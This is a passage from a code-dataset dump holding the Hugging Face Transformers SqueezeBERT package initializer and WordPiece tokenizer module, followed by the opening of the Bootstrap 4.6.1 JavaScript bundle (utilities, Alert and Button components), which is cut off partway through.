repo_id stringlengths 6 101 | size int64 367 5.14M | file_path stringlengths 2 269 | content stringlengths 367 5.14M |
|---|---|---|---|
27182812/ChatGLM-LLaMA-chinese-insturct | 2,996 | src/transformers/models/squeezebert/__init__.py | # Copyright 2020 The HuggingFace Team. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from typing import TYPE_CHECKING
from ...utils import OptionalDependencyNotAvailable, _LazyModule, is_tokenizers_available, is_torch_available
_import_structure = {
"configuration_squeezebert": [
"SQUEEZEBERT_PRETRAINED_CONFIG_ARCHIVE_MAP",
"SqueezeBertConfig",
"SqueezeBertOnnxConfig",
],
"tokenization_squeezebert": ["SqueezeBertTokenizer"],
}
try:
if not is_tokenizers_available():
raise OptionalDependencyNotAvailable()
except OptionalDependencyNotAvailable:
pass
else:
_import_structure["tokenization_squeezebert_fast"] = ["SqueezeBertTokenizerFast"]
try:
if not is_torch_available():
raise OptionalDependencyNotAvailable()
except OptionalDependencyNotAvailable:
pass
else:
_import_structure["modeling_squeezebert"] = [
"SQUEEZEBERT_PRETRAINED_MODEL_ARCHIVE_LIST",
"SqueezeBertForMaskedLM",
"SqueezeBertForMultipleChoice",
"SqueezeBertForQuestionAnswering",
"SqueezeBertForSequenceClassification",
"SqueezeBertForTokenClassification",
"SqueezeBertModel",
"SqueezeBertModule",
"SqueezeBertPreTrainedModel",
]
if TYPE_CHECKING:
from .configuration_squeezebert import (
SQUEEZEBERT_PRETRAINED_CONFIG_ARCHIVE_MAP,
SqueezeBertConfig,
SqueezeBertOnnxConfig,
)
from .tokenization_squeezebert import SqueezeBertTokenizer
try:
if not is_tokenizers_available():
raise OptionalDependencyNotAvailable()
except OptionalDependencyNotAvailable:
pass
else:
from .tokenization_squeezebert_fast import SqueezeBertTokenizerFast
try:
if not is_torch_available():
raise OptionalDependencyNotAvailable()
except OptionalDependencyNotAvailable:
pass
else:
from .modeling_squeezebert import (
SQUEEZEBERT_PRETRAINED_MODEL_ARCHIVE_LIST,
SqueezeBertForMaskedLM,
SqueezeBertForMultipleChoice,
SqueezeBertForQuestionAnswering,
SqueezeBertForSequenceClassification,
SqueezeBertForTokenClassification,
SqueezeBertModel,
SqueezeBertModule,
SqueezeBertPreTrainedModel,
)
else:
import sys
sys.modules[__name__] = _LazyModule(__name__, globals()["__file__"], _import_structure, module_spec=__spec__)
|
27182812/ChatGLM-LLaMA-chinese-insturct | 21,327 | src/transformers/models/squeezebert/tokenization_squeezebert.py | # coding=utf-8
# Copyright 2020 The SqueezeBert authors and The HuggingFace Inc. team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Tokenization classes for SqueezeBERT."""
import collections
import os
import unicodedata
from typing import List, Optional, Tuple
from ...tokenization_utils import PreTrainedTokenizer, _is_control, _is_punctuation, _is_whitespace
from ...utils import logging
logger = logging.get_logger(__name__)
VOCAB_FILES_NAMES = {"vocab_file": "vocab.txt"}
PRETRAINED_VOCAB_FILES_MAP = {
"vocab_file": {
"squeezebert/squeezebert-uncased": (
"https://huggingface.co/squeezebert/squeezebert-uncased/resolve/main/vocab.txt"
),
"squeezebert/squeezebert-mnli": "https://huggingface.co/squeezebert/squeezebert-mnli/resolve/main/vocab.txt",
"squeezebert/squeezebert-mnli-headless": (
"https://huggingface.co/squeezebert/squeezebert-mnli-headless/resolve/main/vocab.txt"
),
}
}
PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES = {
"squeezebert/squeezebert-uncased": 512,
"squeezebert/squeezebert-mnli": 512,
"squeezebert/squeezebert-mnli-headless": 512,
}
PRETRAINED_INIT_CONFIGURATION = {
"squeezebert/squeezebert-uncased": {"do_lower_case": True},
"squeezebert/squeezebert-mnli": {"do_lower_case": True},
"squeezebert/squeezebert-mnli-headless": {"do_lower_case": True},
}
# Copied from transformers.models.bert.tokenization_bert.load_vocab
def load_vocab(vocab_file):
"""Loads a vocabulary file into a dictionary."""
vocab = collections.OrderedDict()
with open(vocab_file, "r", encoding="utf-8") as reader:
tokens = reader.readlines()
for index, token in enumerate(tokens):
token = token.rstrip("\n")
vocab[token] = index
return vocab
# Copied from transformers.models.bert.tokenization_bert.whitespace_tokenize
def whitespace_tokenize(text):
"""Runs basic whitespace cleaning and splitting on a piece of text."""
text = text.strip()
if not text:
return []
tokens = text.split()
return tokens
# Copied from transformers.models.bert.tokenization_bert.BertTokenizer with Bert->SqueezeBert,BERT->SqueezeBERT
class SqueezeBertTokenizer(PreTrainedTokenizer):
r"""
Construct a SqueezeBERT tokenizer. Based on WordPiece.
This tokenizer inherits from [`PreTrainedTokenizer`] which contains most of the main methods. Users should refer to
this superclass for more information regarding those methods.
Args:
vocab_file (`str`):
File containing the vocabulary.
do_lower_case (`bool`, *optional*, defaults to `True`):
Whether or not to lowercase the input when tokenizing.
do_basic_tokenize (`bool`, *optional*, defaults to `True`):
Whether or not to do basic tokenization before WordPiece.
never_split (`Iterable`, *optional*):
Collection of tokens which will never be split during tokenization. Only has an effect when
`do_basic_tokenize=True`
unk_token (`str`, *optional*, defaults to `"[UNK]"`):
The unknown token. A token that is not in the vocabulary cannot be converted to an ID and is set to be this
token instead.
sep_token (`str`, *optional*, defaults to `"[SEP]"`):
The separator token, which is used when building a sequence from multiple sequences, e.g. two sequences for
sequence classification or for a text and a question for question answering. It is also used as the last
token of a sequence built with special tokens.
pad_token (`str`, *optional*, defaults to `"[PAD]"`):
The token used for padding, for example when batching sequences of different lengths.
cls_token (`str`, *optional*, defaults to `"[CLS]"`):
The classifier token which is used when doing sequence classification (classification of the whole sequence
instead of per-token classification). It is the first token of the sequence when built with special tokens.
mask_token (`str`, *optional*, defaults to `"[MASK]"`):
The token used for masking values. This is the token used when training this model with masked language
modeling. This is the token which the model will try to predict.
tokenize_chinese_chars (`bool`, *optional*, defaults to `True`):
Whether or not to tokenize Chinese characters.
This should likely be deactivated for Japanese (see this
[issue](https://github.com/huggingface/transformers/issues/328)).
strip_accents (`bool`, *optional*):
Whether or not to strip all accents. If this option is not specified, then it will be determined by the
value for `lowercase` (as in the original SqueezeBERT).
"""
vocab_files_names = VOCAB_FILES_NAMES
pretrained_vocab_files_map = PRETRAINED_VOCAB_FILES_MAP
pretrained_init_configuration = PRETRAINED_INIT_CONFIGURATION
max_model_input_sizes = PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES
def __init__(
self,
vocab_file,
do_lower_case=True,
do_basic_tokenize=True,
never_split=None,
unk_token="[UNK]",
sep_token="[SEP]",
pad_token="[PAD]",
cls_token="[CLS]",
mask_token="[MASK]",
tokenize_chinese_chars=True,
strip_accents=None,
**kwargs,
):
super().__init__(
do_lower_case=do_lower_case,
do_basic_tokenize=do_basic_tokenize,
never_split=never_split,
unk_token=unk_token,
sep_token=sep_token,
pad_token=pad_token,
cls_token=cls_token,
mask_token=mask_token,
tokenize_chinese_chars=tokenize_chinese_chars,
strip_accents=strip_accents,
**kwargs,
)
if not os.path.isfile(vocab_file):
raise ValueError(
f"Can't find a vocabulary file at path '{vocab_file}'. To load the vocabulary from a Google pretrained"
" model use `tokenizer = SqueezeBertTokenizer.from_pretrained(PRETRAINED_MODEL_NAME)`"
)
self.vocab = load_vocab(vocab_file)
self.ids_to_tokens = collections.OrderedDict([(ids, tok) for tok, ids in self.vocab.items()])
self.do_basic_tokenize = do_basic_tokenize
if do_basic_tokenize:
self.basic_tokenizer = BasicTokenizer(
do_lower_case=do_lower_case,
never_split=never_split,
tokenize_chinese_chars=tokenize_chinese_chars,
strip_accents=strip_accents,
)
self.wordpiece_tokenizer = WordpieceTokenizer(vocab=self.vocab, unk_token=self.unk_token)
@property
def do_lower_case(self):
return self.basic_tokenizer.do_lower_case
@property
def vocab_size(self):
return len(self.vocab)
def get_vocab(self):
return dict(self.vocab, **self.added_tokens_encoder)
def _tokenize(self, text):
split_tokens = []
if self.do_basic_tokenize:
for token in self.basic_tokenizer.tokenize(text, never_split=self.all_special_tokens):
# If the token is part of the never_split set
if token in self.basic_tokenizer.never_split:
split_tokens.append(token)
else:
split_tokens += self.wordpiece_tokenizer.tokenize(token)
else:
split_tokens = self.wordpiece_tokenizer.tokenize(text)
return split_tokens
def _convert_token_to_id(self, token):
"""Converts a token (str) in an id using the vocab."""
return self.vocab.get(token, self.vocab.get(self.unk_token))
def _convert_id_to_token(self, index):
"""Converts an index (integer) in a token (str) using the vocab."""
return self.ids_to_tokens.get(index, self.unk_token)
def convert_tokens_to_string(self, tokens):
"""Converts a sequence of tokens (string) in a single string."""
out_string = " ".join(tokens).replace(" ##", "").strip()
return out_string
def build_inputs_with_special_tokens(
self, token_ids_0: List[int], token_ids_1: Optional[List[int]] = None
) -> List[int]:
"""
Build model inputs from a sequence or a pair of sequence for sequence classification tasks by concatenating and
adding special tokens. A SqueezeBERT sequence has the following format:
- single sequence: `[CLS] X [SEP]`
- pair of sequences: `[CLS] A [SEP] B [SEP]`
Args:
token_ids_0 (`List[int]`):
List of IDs to which the special tokens will be added.
token_ids_1 (`List[int]`, *optional*):
Optional second list of IDs for sequence pairs.
Returns:
`List[int]`: List of [input IDs](../glossary#input-ids) with the appropriate special tokens.
"""
if token_ids_1 is None:
return [self.cls_token_id] + token_ids_0 + [self.sep_token_id]
cls = [self.cls_token_id]
sep = [self.sep_token_id]
return cls + token_ids_0 + sep + token_ids_1 + sep
def get_special_tokens_mask(
self, token_ids_0: List[int], token_ids_1: Optional[List[int]] = None, already_has_special_tokens: bool = False
) -> List[int]:
"""
Retrieve sequence ids from a token list that has no special tokens added. This method is called when adding
special tokens using the tokenizer `prepare_for_model` method.
Args:
token_ids_0 (`List[int]`):
List of IDs.
token_ids_1 (`List[int]`, *optional*):
Optional second list of IDs for sequence pairs.
already_has_special_tokens (`bool`, *optional*, defaults to `False`):
Whether or not the token list is already formatted with special tokens for the model.
Returns:
`List[int]`: A list of integers in the range [0, 1]: 1 for a special token, 0 for a sequence token.
"""
if already_has_special_tokens:
return super().get_special_tokens_mask(
token_ids_0=token_ids_0, token_ids_1=token_ids_1, already_has_special_tokens=True
)
if token_ids_1 is not None:
return [1] + ([0] * len(token_ids_0)) + [1] + ([0] * len(token_ids_1)) + [1]
return [1] + ([0] * len(token_ids_0)) + [1]
def create_token_type_ids_from_sequences(
self, token_ids_0: List[int], token_ids_1: Optional[List[int]] = None
) -> List[int]:
"""
Create a mask from the two sequences passed to be used in a sequence-pair classification task. A SqueezeBERT
sequence pair mask has the following format:
```
0 0 0 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 1
| first sequence | second sequence |
```
If `token_ids_1` is `None`, this method only returns the first portion of the mask (0s).
Args:
token_ids_0 (`List[int]`):
List of IDs.
token_ids_1 (`List[int]`, *optional*):
Optional second list of IDs for sequence pairs.
Returns:
`List[int]`: List of [token type IDs](../glossary#token-type-ids) according to the given sequence(s).
"""
sep = [self.sep_token_id]
cls = [self.cls_token_id]
if token_ids_1 is None:
return len(cls + token_ids_0 + sep) * [0]
return len(cls + token_ids_0 + sep) * [0] + len(token_ids_1 + sep) * [1]
def save_vocabulary(self, save_directory: str, filename_prefix: Optional[str] = None) -> Tuple[str]:
index = 0
if os.path.isdir(save_directory):
vocab_file = os.path.join(
save_directory, (filename_prefix + "-" if filename_prefix else "") + VOCAB_FILES_NAMES["vocab_file"]
)
else:
vocab_file = (filename_prefix + "-" if filename_prefix else "") + save_directory
with open(vocab_file, "w", encoding="utf-8") as writer:
for token, token_index in sorted(self.vocab.items(), key=lambda kv: kv[1]):
if index != token_index:
logger.warning(
f"Saving vocabulary to {vocab_file}: vocabulary indices are not consecutive."
" Please check that the vocabulary is not corrupted!"
)
index = token_index
writer.write(token + "\n")
index += 1
return (vocab_file,)
# Copied from transformers.models.bert.tokenization_bert.BasicTokenizer
class BasicTokenizer(object):
"""
Constructs a BasicTokenizer that will run basic tokenization (punctuation splitting, lower casing, etc.).
Args:
do_lower_case (`bool`, *optional*, defaults to `True`):
Whether or not to lowercase the input when tokenizing.
never_split (`Iterable`, *optional*):
Collection of tokens which will never be split during tokenization. Only has an effect when
`do_basic_tokenize=True`
tokenize_chinese_chars (`bool`, *optional*, defaults to `True`):
Whether or not to tokenize Chinese characters.
This should likely be deactivated for Japanese (see this
[issue](https://github.com/huggingface/transformers/issues/328)).
strip_accents (`bool`, *optional*):
Whether or not to strip all accents. If this option is not specified, then it will be determined by the
value for `lowercase` (as in the original BERT).
"""
def __init__(self, do_lower_case=True, never_split=None, tokenize_chinese_chars=True, strip_accents=None):
if never_split is None:
never_split = []
self.do_lower_case = do_lower_case
self.never_split = set(never_split)
self.tokenize_chinese_chars = tokenize_chinese_chars
self.strip_accents = strip_accents
def tokenize(self, text, never_split=None):
"""
Basic Tokenization of a piece of text. Split on "white spaces" only, for sub-word tokenization, see
WordPieceTokenizer.
Args:
never_split (`List[str]`, *optional*)
Kept for backward compatibility purposes. Now implemented directly at the base class level (see
[`PreTrainedTokenizer.tokenize`]) List of token not to split.
"""
# union() returns a new set by concatenating the two sets.
never_split = self.never_split.union(set(never_split)) if never_split else self.never_split
text = self._clean_text(text)
# This was added on November 1st, 2018 for the multilingual and Chinese
# models. This is also applied to the English models now, but it doesn't
# matter since the English models were not trained on any Chinese data
# and generally don't have any Chinese data in them (there are Chinese
# characters in the vocabulary because Wikipedia does have some Chinese
# words in the English Wikipedia.).
if self.tokenize_chinese_chars:
text = self._tokenize_chinese_chars(text)
orig_tokens = whitespace_tokenize(text)
split_tokens = []
for token in orig_tokens:
if token not in never_split:
if self.do_lower_case:
token = token.lower()
if self.strip_accents is not False:
token = self._run_strip_accents(token)
elif self.strip_accents:
token = self._run_strip_accents(token)
split_tokens.extend(self._run_split_on_punc(token, never_split))
output_tokens = whitespace_tokenize(" ".join(split_tokens))
return output_tokens
def _run_strip_accents(self, text):
"""Strips accents from a piece of text."""
text = unicodedata.normalize("NFD", text)
output = []
for char in text:
cat = unicodedata.category(char)
if cat == "Mn":
continue
output.append(char)
return "".join(output)
def _run_split_on_punc(self, text, never_split=None):
"""Splits punctuation on a piece of text."""
if never_split is not None and text in never_split:
return [text]
chars = list(text)
i = 0
start_new_word = True
output = []
while i < len(chars):
char = chars[i]
if _is_punctuation(char):
output.append([char])
start_new_word = True
else:
if start_new_word:
output.append([])
start_new_word = False
output[-1].append(char)
i += 1
return ["".join(x) for x in output]
def _tokenize_chinese_chars(self, text):
"""Adds whitespace around any CJK character."""
output = []
for char in text:
cp = ord(char)
if self._is_chinese_char(cp):
output.append(" ")
output.append(char)
output.append(" ")
else:
output.append(char)
return "".join(output)
def _is_chinese_char(self, cp):
"""Checks whether CP is the codepoint of a CJK character."""
# This defines a "chinese character" as anything in the CJK Unicode block:
# https://en.wikipedia.org/wiki/CJK_Unified_Ideographs_(Unicode_block)
#
# Note that the CJK Unicode block is NOT all Japanese and Korean characters,
# despite its name. The modern Korean Hangul alphabet is a different block,
# as is Japanese Hiragana and Katakana. Those alphabets are used to write
# space-separated words, so they are not treated specially and handled
# like the all of the other languages.
if (
(cp >= 0x4E00 and cp <= 0x9FFF)
or (cp >= 0x3400 and cp <= 0x4DBF) #
or (cp >= 0x20000 and cp <= 0x2A6DF) #
or (cp >= 0x2A700 and cp <= 0x2B73F) #
or (cp >= 0x2B740 and cp <= 0x2B81F) #
or (cp >= 0x2B820 and cp <= 0x2CEAF) #
or (cp >= 0xF900 and cp <= 0xFAFF)
or (cp >= 0x2F800 and cp <= 0x2FA1F) #
): #
return True
return False
def _clean_text(self, text):
"""Performs invalid character removal and whitespace cleanup on text."""
output = []
for char in text:
cp = ord(char)
if cp == 0 or cp == 0xFFFD or _is_control(char):
continue
if _is_whitespace(char):
output.append(" ")
else:
output.append(char)
return "".join(output)
class WordpieceTokenizer(object):
"""Runs WordPiece tokenization."""
def __init__(self, vocab, unk_token, max_input_chars_per_word=100):
self.vocab = vocab
self.unk_token = unk_token
self.max_input_chars_per_word = max_input_chars_per_word
def tokenize(self, text):
"""
Tokenizes a piece of text into its word pieces. This uses a greedy longest-match-first algorithm to perform
tokenization using the given vocabulary.
For example, `input = "unaffable"` wil return as output `["un", "##aff", "##able"]`.
Args:
text: A single token or whitespace separated tokens. This should have
already been passed through *BasicTokenizer*.
Returns:
A list of wordpiece tokens.
"""
output_tokens = []
for token in whitespace_tokenize(text):
chars = list(token)
if len(chars) > self.max_input_chars_per_word:
output_tokens.append(self.unk_token)
continue
is_bad = False
start = 0
sub_tokens = []
while start < len(chars):
end = len(chars)
cur_substr = None
while start < end:
substr = "".join(chars[start:end])
if start > 0:
substr = "##" + substr
if substr in self.vocab:
cur_substr = substr
break
end -= 1
if cur_substr is None:
is_bad = True
break
sub_tokens.append(cur_substr)
start = end
if is_bad:
output_tokens.append(self.unk_token)
else:
output_tokens.extend(sub_tokens)
return output_tokens
|
2740908911/Pilot-Web | 137,577 | pilot-client/plugins/bootstrap/js/bootstrap.js | /*!
* Bootstrap v4.6.1 (https://getbootstrap.com/)
* Copyright 2011-2021 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors)
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
*/
(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('jquery'), require('popper.js')) :
typeof define === 'function' && define.amd ? define(['exports', 'jquery', 'popper.js'], factory) :
(global = typeof globalThis !== 'undefined' ? globalThis : global || self, factory(global.bootstrap = {}, global.jQuery, global.Popper));
})(this, (function (exports, $, Popper) { 'use strict';
function _interopDefaultLegacy (e) { return e && typeof e === 'object' && 'default' in e ? e : { 'default': e }; }
var $__default = /*#__PURE__*/_interopDefaultLegacy($);
var Popper__default = /*#__PURE__*/_interopDefaultLegacy(Popper);
function _defineProperties(target, props) {
for (var i = 0; i < props.length; i++) {
var descriptor = props[i];
descriptor.enumerable = descriptor.enumerable || false;
descriptor.configurable = true;
if ("value" in descriptor) descriptor.writable = true;
Object.defineProperty(target, descriptor.key, descriptor);
}
}
function _createClass(Constructor, protoProps, staticProps) {
if (protoProps) _defineProperties(Constructor.prototype, protoProps);
if (staticProps) _defineProperties(Constructor, staticProps);
return Constructor;
}
function _extends() {
_extends = Object.assign || function (target) {
for (var i = 1; i < arguments.length; i++) {
var source = arguments[i];
for (var key in source) {
if (Object.prototype.hasOwnProperty.call(source, key)) {
target[key] = source[key];
}
}
}
return target;
};
return _extends.apply(this, arguments);
}
function _inheritsLoose(subClass, superClass) {
subClass.prototype = Object.create(superClass.prototype);
subClass.prototype.constructor = subClass;
_setPrototypeOf(subClass, superClass);
}
function _setPrototypeOf(o, p) {
_setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) {
o.__proto__ = p;
return o;
};
return _setPrototypeOf(o, p);
}
/**
* --------------------------------------------------------------------------
* Bootstrap (v4.6.1): util.js
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
* --------------------------------------------------------------------------
*/
/**
* Private TransitionEnd Helpers
*/
var TRANSITION_END = 'transitionend';
var MAX_UID = 1000000;
var MILLISECONDS_MULTIPLIER = 1000; // Shoutout AngusCroll (https://goo.gl/pxwQGp)
function toType(obj) {
if (obj === null || typeof obj === 'undefined') {
return "" + obj;
}
return {}.toString.call(obj).match(/\s([a-z]+)/i)[1].toLowerCase();
}
function getSpecialTransitionEndEvent() {
return {
bindType: TRANSITION_END,
delegateType: TRANSITION_END,
handle: function handle(event) {
if ($__default["default"](event.target).is(this)) {
return event.handleObj.handler.apply(this, arguments); // eslint-disable-line prefer-rest-params
}
return undefined;
}
};
}
function transitionEndEmulator(duration) {
var _this = this;
var called = false;
$__default["default"](this).one(Util.TRANSITION_END, function () {
called = true;
});
setTimeout(function () {
if (!called) {
Util.triggerTransitionEnd(_this);
}
}, duration);
return this;
}
function setTransitionEndSupport() {
$__default["default"].fn.emulateTransitionEnd = transitionEndEmulator;
$__default["default"].event.special[Util.TRANSITION_END] = getSpecialTransitionEndEvent();
}
/**
* Public Util API
*/
var Util = {
TRANSITION_END: 'bsTransitionEnd',
getUID: function getUID(prefix) {
do {
// eslint-disable-next-line no-bitwise
prefix += ~~(Math.random() * MAX_UID); // "~~" acts like a faster Math.floor() here
} while (document.getElementById(prefix));
return prefix;
},
getSelectorFromElement: function getSelectorFromElement(element) {
var selector = element.getAttribute('data-target');
if (!selector || selector === '#') {
var hrefAttr = element.getAttribute('href');
selector = hrefAttr && hrefAttr !== '#' ? hrefAttr.trim() : '';
}
try {
return document.querySelector(selector) ? selector : null;
} catch (_) {
return null;
}
},
getTransitionDurationFromElement: function getTransitionDurationFromElement(element) {
if (!element) {
return 0;
} // Get transition-duration of the element
var transitionDuration = $__default["default"](element).css('transition-duration');
var transitionDelay = $__default["default"](element).css('transition-delay');
var floatTransitionDuration = parseFloat(transitionDuration);
var floatTransitionDelay = parseFloat(transitionDelay); // Return 0 if element or transition duration is not found
if (!floatTransitionDuration && !floatTransitionDelay) {
return 0;
} // If multiple durations are defined, take the first
transitionDuration = transitionDuration.split(',')[0];
transitionDelay = transitionDelay.split(',')[0];
return (parseFloat(transitionDuration) + parseFloat(transitionDelay)) * MILLISECONDS_MULTIPLIER;
},
reflow: function reflow(element) {
return element.offsetHeight;
},
triggerTransitionEnd: function triggerTransitionEnd(element) {
$__default["default"](element).trigger(TRANSITION_END);
},
supportsTransitionEnd: function supportsTransitionEnd() {
return Boolean(TRANSITION_END);
},
isElement: function isElement(obj) {
return (obj[0] || obj).nodeType;
},
typeCheckConfig: function typeCheckConfig(componentName, config, configTypes) {
for (var property in configTypes) {
if (Object.prototype.hasOwnProperty.call(configTypes, property)) {
var expectedTypes = configTypes[property];
var value = config[property];
var valueType = value && Util.isElement(value) ? 'element' : toType(value);
if (!new RegExp(expectedTypes).test(valueType)) {
throw new Error(componentName.toUpperCase() + ": " + ("Option \"" + property + "\" provided type \"" + valueType + "\" ") + ("but expected type \"" + expectedTypes + "\"."));
}
}
}
},
findShadowRoot: function findShadowRoot(element) {
if (!document.documentElement.attachShadow) {
return null;
} // Can find the shadow root otherwise it'll return the document
if (typeof element.getRootNode === 'function') {
var root = element.getRootNode();
return root instanceof ShadowRoot ? root : null;
}
if (element instanceof ShadowRoot) {
return element;
} // when we don't find a shadow root
if (!element.parentNode) {
return null;
}
return Util.findShadowRoot(element.parentNode);
},
jQueryDetection: function jQueryDetection() {
if (typeof $__default["default"] === 'undefined') {
throw new TypeError('Bootstrap\'s JavaScript requires jQuery. jQuery must be included before Bootstrap\'s JavaScript.');
}
var version = $__default["default"].fn.jquery.split(' ')[0].split('.');
var minMajor = 1;
var ltMajor = 2;
var minMinor = 9;
var minPatch = 1;
var maxMajor = 4;
if (version[0] < ltMajor && version[1] < minMinor || version[0] === minMajor && version[1] === minMinor && version[2] < minPatch || version[0] >= maxMajor) {
throw new Error('Bootstrap\'s JavaScript requires at least jQuery v1.9.1 but less than v4.0.0');
}
}
};
Util.jQueryDetection();
setTransitionEndSupport();
/**
* Constants
*/
var NAME$a = 'alert';
var VERSION$a = '4.6.1';
var DATA_KEY$a = 'bs.alert';
var EVENT_KEY$a = "." + DATA_KEY$a;
var DATA_API_KEY$7 = '.data-api';
var JQUERY_NO_CONFLICT$a = $__default["default"].fn[NAME$a];
var CLASS_NAME_ALERT = 'alert';
var CLASS_NAME_FADE$5 = 'fade';
var CLASS_NAME_SHOW$7 = 'show';
var EVENT_CLOSE = "close" + EVENT_KEY$a;
var EVENT_CLOSED = "closed" + EVENT_KEY$a;
var EVENT_CLICK_DATA_API$6 = "click" + EVENT_KEY$a + DATA_API_KEY$7;
var SELECTOR_DISMISS = '[data-dismiss="alert"]';
/**
* Class definition
*/
var Alert = /*#__PURE__*/function () {
function Alert(element) {
this._element = element;
} // Getters
var _proto = Alert.prototype;
// Public
_proto.close = function close(element) {
var rootElement = this._element;
if (element) {
rootElement = this._getRootElement(element);
}
var customEvent = this._triggerCloseEvent(rootElement);
if (customEvent.isDefaultPrevented()) {
return;
}
this._removeElement(rootElement);
};
_proto.dispose = function dispose() {
$__default["default"].removeData(this._element, DATA_KEY$a);
this._element = null;
} // Private
;
_proto._getRootElement = function _getRootElement(element) {
var selector = Util.getSelectorFromElement(element);
var parent = false;
if (selector) {
parent = document.querySelector(selector);
}
if (!parent) {
parent = $__default["default"](element).closest("." + CLASS_NAME_ALERT)[0];
}
return parent;
};
_proto._triggerCloseEvent = function _triggerCloseEvent(element) {
var closeEvent = $__default["default"].Event(EVENT_CLOSE);
$__default["default"](element).trigger(closeEvent);
return closeEvent;
};
_proto._removeElement = function _removeElement(element) {
var _this = this;
$__default["default"](element).removeClass(CLASS_NAME_SHOW$7);
if (!$__default["default"](element).hasClass(CLASS_NAME_FADE$5)) {
this._destroyElement(element);
return;
}
var transitionDuration = Util.getTransitionDurationFromElement(element);
$__default["default"](element).one(Util.TRANSITION_END, function (event) {
return _this._destroyElement(element, event);
}).emulateTransitionEnd(transitionDuration);
};
_proto._destroyElement = function _destroyElement(element) {
$__default["default"](element).detach().trigger(EVENT_CLOSED).remove();
} // Static
;
Alert._jQueryInterface = function _jQueryInterface(config) {
return this.each(function () {
var $element = $__default["default"](this);
var data = $element.data(DATA_KEY$a);
if (!data) {
data = new Alert(this);
$element.data(DATA_KEY$a, data);
}
if (config === 'close') {
data[config](this);
}
});
};
Alert._handleDismiss = function _handleDismiss(alertInstance) {
return function (event) {
if (event) {
event.preventDefault();
}
alertInstance.close(this);
};
};
_createClass(Alert, null, [{
key: "VERSION",
get: function get() {
return VERSION$a;
}
}]);
return Alert;
}();
/**
* Data API implementation
*/
$__default["default"](document).on(EVENT_CLICK_DATA_API$6, SELECTOR_DISMISS, Alert._handleDismiss(new Alert()));
/**
* jQuery
*/
$__default["default"].fn[NAME$a] = Alert._jQueryInterface;
$__default["default"].fn[NAME$a].Constructor = Alert;
$__default["default"].fn[NAME$a].noConflict = function () {
$__default["default"].fn[NAME$a] = JQUERY_NO_CONFLICT$a;
return Alert._jQueryInterface;
};
/**
* Constants
*/
var NAME$9 = 'button';
var VERSION$9 = '4.6.1';
var DATA_KEY$9 = 'bs.button';
var EVENT_KEY$9 = "." + DATA_KEY$9;
var DATA_API_KEY$6 = '.data-api';
var JQUERY_NO_CONFLICT$9 = $__default["default"].fn[NAME$9];
var CLASS_NAME_ACTIVE$3 = 'active';
var CLASS_NAME_BUTTON = 'btn';
var CLASS_NAME_FOCUS = 'focus';
var EVENT_CLICK_DATA_API$5 = "click" + EVENT_KEY$9 + DATA_API_KEY$6;
var EVENT_FOCUS_BLUR_DATA_API = "focus" + EVENT_KEY$9 + DATA_API_KEY$6 + " " + ("blur" + EVENT_KEY$9 + DATA_API_KEY$6);
var EVENT_LOAD_DATA_API$2 = "load" + EVENT_KEY$9 + DATA_API_KEY$6;
var SELECTOR_DATA_TOGGLE_CARROT = '[data-toggle^="button"]';
var SELECTOR_DATA_TOGGLES = '[data-toggle="buttons"]';
var SELECTOR_DATA_TOGGLE$4 = '[data-toggle="button"]';
var SELECTOR_DATA_TOGGLES_BUTTONS = '[data-toggle="buttons"] .btn';
var SELECTOR_INPUT = 'input:not([type="hidden"])';
var SELECTOR_ACTIVE$2 = '.active';
var SELECTOR_BUTTON = '.btn';
/**
* Class definition
*/
var Button = /*#__PURE__*/function () {
function Button(element) {
this._element = element;
this.shouldAvoidTriggerChange = false;
} // Getters
var _proto = Button.prototype;
// Public
_proto.toggle = function toggle() {
var triggerChangeEvent = true;
var addAriaPressed = true;
var rootElement = $__default["default"](this._element).closest(SELECTOR_DATA_TOGGLES)[0];
if (rootElement) {
var input = this._element.querySelector(SELECTOR_INPUT);
if (input) {
if (input.type === 'radio') {
if (input.checked && this._element.classList.contains(CLASS_NAME_ACTIVE$3)) {
triggerChangeEvent = false;
} else {
var activeElement = rootElement.querySelector(SELECTOR_ACTIVE$2);
if (activeElement) {
$__default["default"](activeElement).removeClass(CLASS_NAME_ACTIVE$3);
}
}
}
if (triggerChangeEvent) {
// if it's not a radio button or checkbox don't add a pointless/invalid checked property to the input
if (input.type === 'checkbox' || input.type === 'radio') {
input.checked = !this._element.classList.contains(CLASS_NAME_ACTIVE$3);
}
if (!this.shouldAvoidTriggerChange) {
$__default["default"](input).trigger('change');
}
}
input.focus();
addAriaPressed = false;
}
}
if (!(this._element.hasAttribute('disabled') || this._element.classList.contains('disabled'))) {
if (addAriaPressed) {
this._element.setAttribute('aria-pressed', !this._element.classList.contains(CLASS_NAME_ACTIVE$3));
}
if (triggerChangeEvent) {
$__default["default"](this._element).toggleClass(CLASS_NAME_ACTIVE$3);
}
}
};
_proto.dispose = function dispose() {
$__default["default"].removeData(this._element, DATA_KEY$9);
this._element = null;
} // Static
;
Button._jQueryInterface = function _jQueryInterface(config, avoidTriggerChange) {
return this.each(function () {
var $element = $__default["default"](this);
var data = $element.data(DATA_KEY$9);
if (!data) {
data = new Button(this);
$element.data(DATA_KEY$9, data);
}
data.shouldAvoidTriggerChange = avoidTriggerChange;
if (config === 'toggle') {
data[config]();
}
});
};
_createClass(Button, null, [{
key: "VERSION",
get: function get() {
return VERSION$9;
}
}]);
return Button;
}();
/**
